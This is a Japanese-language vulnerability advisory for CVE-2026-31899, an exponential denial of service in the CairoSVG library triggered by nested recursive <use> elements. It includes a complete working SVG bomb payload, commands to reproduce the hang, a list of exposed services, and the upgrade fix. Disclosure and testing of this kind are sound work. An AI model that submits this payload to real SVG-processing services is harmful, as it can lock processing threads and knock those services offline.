キーワード: CVE-2026-31899、CairoSVG、指数関数的 DoS、SVG 爆弾、再帰的 use 要素、サービス妨害、XML 増幅、Python SVG の脆弱性、CWE-400、制御不能なリソース消費、billion laughs SVG
CairoSVG における指数関数的サービス妨害(DoS)(CVE-2026-31899) — わずか 1,411 バイトの SVG ペイロードが、再帰的な 要素増幅により CPU を 100% に固定したまま無期限に占有し続けます。
CairoSVG(週間約 30 万ダウンロード)は、広く使用されている Python 製 SVG → PNG/PDF 変換ライブラリです。cairosvg/defs.py の use() 関数は、 要素を深さや数の制限なしに再帰的に処理します。5 レベルの入れ子で各レベルに 10 個の参照がある場合、小さな SVG は 10^5 = 100,000 回のレンダリング呼び出し を引き起こします — SVG 版「billion laughs」攻撃です。
発見者: Kai Aizen — SnailSploit 公開日: 2026年3月13日 CVSS スコア: 7.5(高) CWE: CWE-400 — 制御不能なリソース消費 パッケージ: CairoSVG (PyPI) 攻撃種別: 指数関数的サービス妨害(DoS) 必要な権限: なし(未認証)
cairosvg/defs.py(約 335 行目)の use() 関数は、他の 要素を参照する 要素を再帰的に解決します。再帰の深さの制限も、要素数の上限もありません。攻撃者は、各レイヤーが前のレイヤーを N 回参照する小さな SVG を作成でき、O(depth) の入力から O(N^depth) 回のレンダリング呼び出しを生成できます。
この脆弱性は、以下の理由で発生します:
5 レベル、分岐数 10 の場合:
Level 0: 1 element (root <use>)
Level 1: 10 elements
Level 2: 100 elements
Level 3: 1,000 elements
Level 4: 10,000 elements
Level 5: 100,000 render calls
合計: 1,411 バイトの入力から 111,111 回のレンダリング呼び出しが発生します。
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<g id="a"><rect width="1" height="1"/></g>
<g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
<g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
<g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
<g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
</defs>
<use xlink:href="#e"/>
</svg>
方法 1 — コマンドライン:
timeout 10 cairosvg poc.svg -o test.png
# Expected: timeout kills the process after 10 seconds (it never completes)
方法 2 — Python:
import cairosvg
import signal
signal.alarm(5) # Kill after 5 seconds
try:
cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
print("[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s")
SVG 入力を受け付け、処理に CairoSVG を使用するサービスはすべて影響を受けます:
| 攻撃対象 | 例 |
|---|---|
| サムネイル生成 | SVG をアップロード → サーバーが PNG に変換 |
| PDF 生成 | ドキュメントに埋め込まれた SVG → CairoSVG がレンダリング |
| アバター・画像処理 | ユーザーがアップロードした SVG プロフィール画像 |
1.4KB のペイロードを含む 1 回のリクエストで、メモリ消費を最小限に抑えたまま処理スレッドが無期限に固定されます(救済のための OOM キルは発生しません)。
CairoSVG をバージョン 2.9.0 以上にアップグレードしてください:
pip install --upgrade CairoSVG>=2.9.0
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
| 日付 | イベント |
|---|---|
| 2026-03-09 | CVE 予約 |
| 2026-03-13 | アドバイザリ公開 (GHSA-f38f-5xpm-9r7c) |
| 2026-03-13 | 修正を含む CairoSVG 2.9.0 をリリース |
Kai Aizen (SnailSploit)
⚠️ 免責事項: このリポジトリは教育目的および許可されたセキュリティ研究のみを対象としています。この概念実証は、防御側が自らの曝露状況を検証するために提供されています。責任を持って使用してください。
このプロジェクトの完全なレポート、手法、および関連研究は以下にあります:
作成者: Kai Aizen — 独立系の攻撃的セキュリティ研究者。
snailsploit.com · 研究 · フレームワーク · GitHub · LinkedIn · ResearchGate · X/Twitter
同じ攻撃。異なる基盤。
| レポート描画 | 自動レポート内の SVG チャート |
| CI/CD パイプライン | ビルド中に処理される SVG アセット |
| メトリクス | 値 |
|---|
| 攻撃元指標 | ネットワーク (AV:N) |
| 攻撃条件の複雑さ | 低 (AC:L) |
| 必要な特権レベル | 不要 (PR:N) |
| ユーザー関与レベル | 不要 (UI:N) |
| スコープ | 変更なし (S:U) |
| 機密性への影響 | なし (C:N) |
| 完全性への影響 | なし (I:N) |
| 可用性への影響 | 高 (A:H) |